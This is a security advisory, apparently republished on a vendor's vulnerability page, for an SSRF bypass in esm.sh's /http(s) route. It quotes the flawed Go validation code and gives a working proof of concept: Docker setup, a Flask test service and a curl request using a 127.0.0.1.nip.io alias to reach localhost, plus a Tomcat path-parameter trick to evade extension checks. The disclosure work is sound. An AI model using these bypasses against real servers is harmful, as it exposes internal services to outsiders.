GHSA-p2v6-84h2-5x4r
HIGHesm.sh has SSRF localhost/private-network bypass in `/http(s)` module route
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
github.com/esm-dev/esm.shReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
An SSRF vulnerability (CWE-918) exists in esm.sh’s /http(s) fetch route.
The service tries to block localhost/internal targets, but the validation is based on hostname string checks and can be bypassed using DNS alias domains (for example, 127.0.0.1.nip.io resolving to 127.0.0.1).
This allows an external requester to make the esm.sh server fetch internal localhost services.
Severity: High (depending on deployment network exposure).
Details
The vulnerable flow starts at the route handling user-controlled remote URLs:
server/router.go:532- Accepts paths beginning with
/http://or/https://.
- Accepts paths beginning with
if strings.HasPrefix(pathname, "/http://") || strings.HasPrefix(pathname, "/https://") {
query := ctx.Query()
modUrl, err := url.Parse(pathname[1:])
if err != nil {
ctx.SetHeader("Cache-Control", ccImmutable)
return rex.Status(400, "Invalid URL")
}
if modUrl.Scheme != "http" && modUrl.Scheme != "https" {
ctx.SetHeader("Cache-Control", ccImmutable)
return rex.Status(400, "Invalid URL")
}
modUrlStr := modUrl.String()
// disallow localhost or ip address for production
if !DEBUG {
hostname := modUrl.Hostname()
if isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host {
ctx.SetHeader("Cache-Control", ccImmutable)
return rex.Status(400, "Invalid URL")
}
}
The internal-target block is string-based:
server/router.go:545
// disallow localhost or ip address for production
if !DEBUG {
hostname := modUrl.Hostname()
if isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host {
ctx.SetHeader("Cache-Control", ccImmutable)
return rex.Status(400, "Invalid URL")
}
}
Localhost detection itself is limited to hostname patterns:
server/utils.go:72isLocalhost(...)checks values likelocalhost,127.0.0.1, and192.168.*.- It does not validate the resolved destination IP after DNS resolution.
func isLocalhost(hostname string) bool {
return hostname == "localhost" || strings.HasSuffix(hostname, ".localhost") || hostname == "127.0.0.1" || (valid.IsIPv4(hostname) && strings.HasPrefix(hostname, "192.168."))
}
Fetch proceeds with host-string allowlisting:
server/router.go:595-596allowedHosts[modUrl.Host] = struct{}{}thenfetch.NewClient(...allowedHosts)
allowedHosts := map[string]struct{}{}
allowedHosts[modUrl.Host] = struct{}{}
fetchClient, recycle := fetch.NewClient(ctx.UserAgent(), 15, false, allowedHosts)
defer recycle()
internal/fetch/fetch.go:49- Host allowlist compares host strings, not resolved IP class.
func (c *FetchClient) Fetch(url *url.URL, header http.Header) (resp *http.Response, err error) {
if c.allowedHosts != nil {
if _, ok := c.allowedHosts[url.Host]; !ok {
return nil, errors.New("host not allowed: " + url.Host)
}
}
if c.userAgent != "" {
if header == nil {
header = make(http.Header)
}
header.Set("User-Agent", c.userAgent)
}
// ...
return c.Do(req)
}
Because validation is based on host strings and not on resolved destination IP ranges, domains that resolve to loopback/private IP can bypass protections.
PoC
Reproduction tested on local Docker deployment.
- Run esm.sh:
docker run -d --name esmsh-5558 -p 5558:80 ghcr.io/esm-dev/esm.sh:latest
- Run an internal localhost-only test service (
secretresponse) in the same network namespace:
- Internal network test server code (app.py):
from flask import Flask, Response
@app.get('/secret.js')
def secret_js():
return Response('secret;\n', mimetype='application/javascript')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5555)
Run the internal Python server container (same network namespace as esmsh-5558):
docker run -d --name internal-5555 --network container:esmsh-5558 \
-v "<YOUR_PATH>/flask-internal:/app" -w /app \
python:3.11-alpine sh -lc "pip install --no-cache-dir flask && python app.py"
Since this server has no Docker port forwarding configured, it is not reachable from outside and is only accessible from the esmsh-5558 container connected on the same network.
- Since both were running on localhost, I tested it through a Cloudflared tunnel to simulate external access.
cloudflared tunnel --url http://127.0.0.1:5558
- Trigger SSRF from outside via esm.sh endpoint:
curl -i "https://ESM.SH_SERVER/http://127.0.0.1.nip.io:5555/secret.js"
127.0.0.1 is blocked, <img width="1206" height="322" alt="image" src="https://github.com/user-attachments/assets/054a7675-5b9e-461a-bb55-9ec7a2b2f43b" />
but 127.0.0.1.nip.io bypasses the filter. <img width="1210" height="336" alt="image" src="https://github.com/user-attachments/assets/95b991b1-ff93-495f-b624-458dd48fd5ff" />
This confirms external requesters can fetch internal localhost service content through esm.sh.
Impact
This is a Server-Side Request Forgery vulnerability (CWE-918).
Impacted:
- Any esm.sh deployment exposing the
/http(s)route to untrusted users. - Environments where internal services are reachable from the esm.sh server/container network.
Potential consequences:
- Access to localhost/internal HTTP services not intended for public access.
- Internal service discovery/probing through the server.
- Exposure of sensitive internal endpoints (deployment-dependent, e.g., metadata/internal admin APIs).
- The exploit surface is extension-limited in this route (e.g., ".js", ".ts", ".mjs", ".mts", ".jsx", ".tsx", ".cjs", ".cts", ".vue", ".svelte", ".md", ".css"), so it is not a universal arbitrary-file fetch primitive.
- Even with that limitation, attackers can still verify whether internal HTTP services exist and retrieve internal JavaScript/Markdown resources (and similar allowed extension content) when present.
- If the internal server is implemented with Apache Tomcat, it may interpret everything after ; as a path parameter in a request such as /asdf/;asdf=a.js. As a result, it could be possible to bypass extension checks while still receiving the response from the intended path.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/esm-dev/esm.sh | all versions | 0.0.0-20250616164159-0593516c4cfa |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/esm-dev/esm.sh. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/esm-dev/esm.sh to 0.0.0-20250616164159-0593516c4cfa or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-p2v6-84h2-5x4r is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-p2v6-84h2-5x4r is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-p2v6-84h2-5x4r. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-p2v6-84h2-5x4r in your dependencies?
O3 detects GHSA-p2v6-84h2-5x4r across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.